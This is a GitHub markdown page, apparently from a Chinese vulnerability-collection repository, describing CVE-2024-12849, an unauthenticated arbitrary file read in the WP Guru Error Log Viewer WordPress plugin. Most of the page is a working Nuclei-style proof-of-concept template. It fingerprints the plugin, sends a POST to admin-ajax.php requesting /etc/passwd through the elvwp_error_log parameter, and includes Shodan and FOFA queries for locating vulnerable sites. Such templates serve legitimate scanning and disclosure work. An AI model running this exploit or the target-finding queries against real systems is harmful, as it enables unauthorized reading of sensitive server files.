Skip to content

Latest commit

 

History

History
71 lines (59 loc) · 2.51 KB

WordPress插件WP-Guru存在任意文件读取漏洞(CVE-2024-12849).md

File metadata and controls

71 lines (59 loc) · 2.51 KB

WordPress插件WP-Guru存在任意文件读取漏洞(CVE-2024-12849)

WordPress 的 WP Guru 错误日志查看器插件在 1.0.1.3 及之前的所有版本中都容易受到通过 wp_ajax_nopriv_elvwp_log_download AJAX 操作进行任意文件读取的攻击。这使得未经身份验证的攻击者可以读取服务器上任意文件的内容,其中可能包含敏感信息。

poc

id: CVE-2024-12849

info:
  name: Error Log Viewer By WP Guru <= 1.0.1.3 - Missing Authorization to Arbitrary File Read
  author: s4e-io
  severity: high
  description: |
    The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-12849
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/57888e36-3a61-4452-b4ea-9db9e422dc2d?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12849
    - https://www.cve.org/CVERecord?id=CVE-2024-12849
    - https://github.com/advisories/GHSA-899p-f2mf-g895
    - https://www.tenable.com/cve/CVE-2024-12849
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-12849
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: wp-guru
    product: error-log-viewer-wp
    framework: wordpress
    shodan-query: http.html:"wp-content/plugins/error-log-viewer-wp"
    fofa-query: body="wp-content/plugins/error-log-viewer-wp"
  tags: cve,cve2024,wordpress,wp-plugin,error-log-viewer-wp,lfi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/error-log-viewer-wp")'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        
        action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - 'contains(content_type, "application/octet-stream")'
          - "status_code == 200"
        condition: and

漏洞来源